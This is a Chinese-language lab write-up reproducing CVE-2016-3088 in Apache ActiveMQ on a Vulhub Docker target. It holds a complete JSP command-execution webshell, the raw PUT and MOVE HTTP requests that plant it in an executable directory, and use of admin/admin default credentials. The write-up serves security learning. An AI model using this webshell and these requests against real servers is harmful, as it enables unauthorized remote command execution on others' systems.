vulhub/activemq/CVE-2016-3088打靶学习记录
一、漏洞描述
CVE-2016-3088 是 Apache ActiveMQ 的一个高危漏洞,主要存在于 5.0.0 到 5.13.3 版本的 Fileserver 应用中。该应用原本用于通过 HTTP 上传、管理消息队列的二进制文件,但由于其 PUT 和 MOVE 等 HTTP 方法未对目标路径做充分验证,导致攻击者可以结合文件上传与文件移动操作,将任意文件写入服务器的可执行目录,最终获取服务器控制权。
漏洞核心原理
-
Fileserver 允许匿名写入
攻击者可通过PUT方法将文件上传到fileserver目录下。该目录虽然不解析 JSP 脚本,但允许任何类型的文件写入。 -
MOVE 方法可任意移动文件
Fileserver 的MOVE方法支持Destination头指定绝对路径,且未限制只能移动到自己目录内。攻击者可以将刚才上传的文件移动到 ActiveMQ 的 Web 应用可解析目录(如webapps/api/或webapps/admin/)。 -
WebShell 执行
一旦 WebShell 被移动到api等目录下,且文件后缀为.jsp,则该目录会将其当作 JSP 脚本解析执行,从而实现远程命令执行。
该漏洞利用通常需要先获取 ActiveMQ 的安装绝对路径。攻击者可通过默认凭证
admin/admin登录 Web 控制台,访问systemProperties.jsp页面查看activemq.home属性。即使无法登录,一些常见安装路径(如/opt/activemq)也可直接尝试。
二、环境准备
kali作为攻击机,ubuntu中部署docker compose,并下载vulhub。
三、打靶流程
(一)部署靶场环境
进入 Vulhub 目录:
# 路径根据你实际的vulhub安装位置确定
cd /root/vulhub/activemq/CVE-2016-3088
#进入root模式
sudo su
启动靶场:
docker compose up -d
验证启动状态:
docker ps
查看容器是否成功运行,应能看到端口 8161 和 61616 的映射。

(二)信息收集与漏洞验证
访问 Web 控制台:用 Kali 浏览器访问 http://<你的ubuntu IP地址>:8161/,看到 ActiveMQ 管理界面 即搭建成功。

登录后台:点击 "Manage ActiveMQ broker" 用默认凭据 admin/admin 登录

获取关键路径 (重要):登录后访问 http://<你的ubuntu地址>:8161/admin/test/systemProperties.jsp,在页面中查找 activemq.home 属性,记录下其路径(如 /opt/activemq),后续操作需用到此绝对路径。

验证 Fileserver 应用:访问 http://<你的ubuntu IP地址>:8161/fileserver/,若提示 HTTP ERROR: 404 Problem accessing /fileserver/. 或类似无权报错,而非 “应用未找到”,则证明 Fileserver 应用存在且可访问。

(二)漏洞利用
第一步:PUT上传WebShell(重要)
-
原因:由于
fileserver目录禁止上传.jsp后缀文件,必须先将 WebShell 伪装成.txt上传,再重命名。 -
操作:Burp 开启拦截,浏览器访问
http://<你的ubbuntu IP地址>:8161/fileserver/1.txt。在Proxy -> Intercept中捕获请求,点击Action -> Send to Repeater。在 Repeater 中修改包:
PUT /fileserver/1.txt HTTP/1.1
Host: <你的ubuntu IP地址>:8161
User-Agent: Mozilla/5.0 ...
Accept: */*
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: [注意:此值需根据实际Shell代码长度设置]
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
代码解释:这段 JSP WebShell 接收用户通过 URL 参数 cmd 传递的系统命令,然后在服务器上执行并返回结果。

关键:点击 Send,收到 204 No Content 响应即上传成功。

-
验证:访问
http://<你的ubuntu IP地址>:8161/fileserver/1.txt,能看到 WebShell 源码但未被解析,说明上传成功但fileserver目录不解析 JSP。

第二步:MOVE移动文件(核心步骤)
-
操作:在 Burp Repeater 中修改包为 MOVE 方法:
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/2.jsp
Host: <你的ubuntu IP地址>:8161
Connection: close
-
Destination 路径说明:
/opt/activemq/webapps/api/2.jsp是能解析 JSP 的目录,必须以你在阶段二获取的activemq.home值为准。

关键:点击 Send,收到 204 No Content 即移动成功。访问 http://<你的ubuntu IP地址>:8161/api/2.jsp?cmd=id,页面回显命令结果,即宣告复现成功。

四、完整攻击流程图

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐

所有评论(0)